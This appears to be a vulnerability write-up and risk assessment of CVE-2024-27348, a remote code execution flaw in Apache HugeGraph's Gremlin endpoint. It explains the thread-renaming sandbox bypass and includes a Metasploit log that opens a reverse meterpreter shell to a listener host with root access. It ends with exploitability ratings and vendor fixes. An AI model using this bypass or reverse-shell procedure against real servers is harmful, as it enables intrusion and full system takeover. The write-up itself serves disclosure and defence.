This is a Remote Code Execution vulnerability Apache HugeGraph in versions before 1.3.0 which are running on Java 8 or Java 11. Apache HugeGraph utilizes Gremlin which is a versatile graph traversal language which enables efficient and expressive graph queries across a range of graph databases and frameworks. The vulnerability exists in the /gremlin endpoint and can be used to bypass sandbox restrictions in order to gain privileged access to the target.

If we take a look at the part of the patch relevant relevant to CVE-2024-27348:

We can see that a number of critical system classes are now being registered to be filtered out by this new function filterCriticalSystemClasses which tells us the vulnerability exists due to non-filtered classes.

If we take a look at the Gremlin documentation we can see how we can interact with Gremlin in order to send a query and receive a response:
https://hugegraph.apache.org/docs/clients/restful-api/gremlin/#method—url-1

We now know that Gremlin accepts user supplied java and runs it in the backend. If we try sending some blatant RCE to Gremin like so:

We get the following response:

{“exception”:”java.lang.SecurityException”,”message”:”Not allowed to execute command via Gremlin”,”cause”:”[java.lang.SecurityException]”}

If we examine where this error comes from we can see how we can bypass this exception. HugeGraph uses the HugeSecurityManager class to override SystemSecurityManager to implement some custom security checks to ensure that potentially malicious actions initiated by Gremlin are dealt with accordingly. By examining the three methods below from the vulnerable versions of HugeGraph we can see how this vulnerability can be exploited.

The checkExec method is the method that threw the error we were seeing above;

It calls callFromGremlin in order to determine whether or not the user supplied gremlin statement is safe to execute, which is just a wrapper around callFromWorkerWithClass:

This is the class containing the vulnerability. We can see the callFromWorkerWithClass function tries to determine if the current execution context originates from the worker classes associated with gremlin server tasks. It first gets the current thread and checks to see if the thread’s name begins with gremlin-server-exec or task-worker. That is the crux of the vulnerability – if the current thread name does not start with either of those strings it will completely skip the security check put in place to ensure no malicious requests are passed in through gremlin.

We can see if the current thread does start with gremlin-server-exec or task-worker then the method gets the stack trace from the current thread which is an array of StackTraceElement objects representing the call stack. It iterates through each element and extracts the class name of each. It then compares each class name extracted to the blacklist of class names, if there are any matches the method returns true indicating the security exception above should be thrown.

So, now that we’ve taken a look at the patch, the vulnerable function, and how one can send gremlin requests to Apache HugeGraph we now have all the information needed to exploit the vulnerability. All we need to do is change the name of our thread in our payload using reflections which will allow us to bypass the class blacklist mentioned above. This is what a successful java payload would looks like:

Testing

If you’d like to exploit this vulnerability yourself, a vulnerable test environment can be spun up with the following docker command:

docker run -itd –name=hugegraph -p 8080:8080 hugegraph/hugegraph:1.0.0

And the following metasploit module can be used to gain root access to the container:

msf6 exploit(linux/http/apache_hugegraph_gremlin_rce) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf6 exploit(linux/http/apache_hugegraph_gremlin_rce) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(linux/http/apache_hugegraph_gremlin_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Apache HugeGraph version detected: 1.0.0
[*] 127.0.0.1:8080 - Executing Automatic Target for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Sending stage (3045380 bytes) to 172.16.199.1
[*] Meterpreter session 8 opened (172.16.199.1:4444 -> 172.16.199.1:53803) at 2024-07-29 13:59:20 -0700
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           : Debian 11.4 (Linux 6.6.32-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

Attack Value and Exploitability

The main reason to give this vulnerability a 4 out of 5 rating for attacker value is that ApacheHuge graph is not usually a public facing application. There were only 6 publicly available instances found on the internet by vsociety. However if an attacker gains a foothold in your network and then discovers a vulnerable Apache HugeGraph instance, the root access it will provide will be quite valuable.

As for exploitability, 5 out of 5 was chosen because it is exploitable:

1. Easily
   
2. Remotely
   
3. And without authentication.
   

Remote command execution vuln in Apache HugeGraph-Server, an open-source graph database project. Vendor advisory was published April 22, 2024 and indicates that HugeGraph-Server 1.0.0 prior to 1.3.0 is affected on Java 8 and Java 11. Both those Java versions are on long-term support, which could potentially reduce viable attack surface area somewhat, but we also know both JDK versions are still common in enterprise environments.

Vendor advisory lists the vuln severity as “important” rather than critical, but this solid SecureLayer7 write-up notes the CVSS score should probably be a 9.8, and that the vuln allows an attacker to “bypass the sandbox restrictions and achieve RCE through Gremlin [a query language supported in HugeGraph], resulting in complete control over the server.” Take a look at their June 5, 2024 blog for a full walk-through of exploitation.

The ShadowServer Foundation said on Mastodon July 16 that they were observing RCE exploit attempts for this vulnerability from multiple sources against honeypots. I haven’t personally seen any confirmation of successful exploitation against real-world production environments, but that doesn’t mean it’s not happening. Multiple public exploits and scanners are available, but as of July 26, Rapid7 researchers haven’t tested public PoCs directly — exploitability is an estimate based on available info.

Vendor guidance is to upgrade to version 1.3.0 with Java 11 and enable the Auth system, which purportedly fixes the issue. HugeGraph admins can also “enable the “Whitelist-IP/port” function to improve the security of RESTful-API execution,” per the advisory.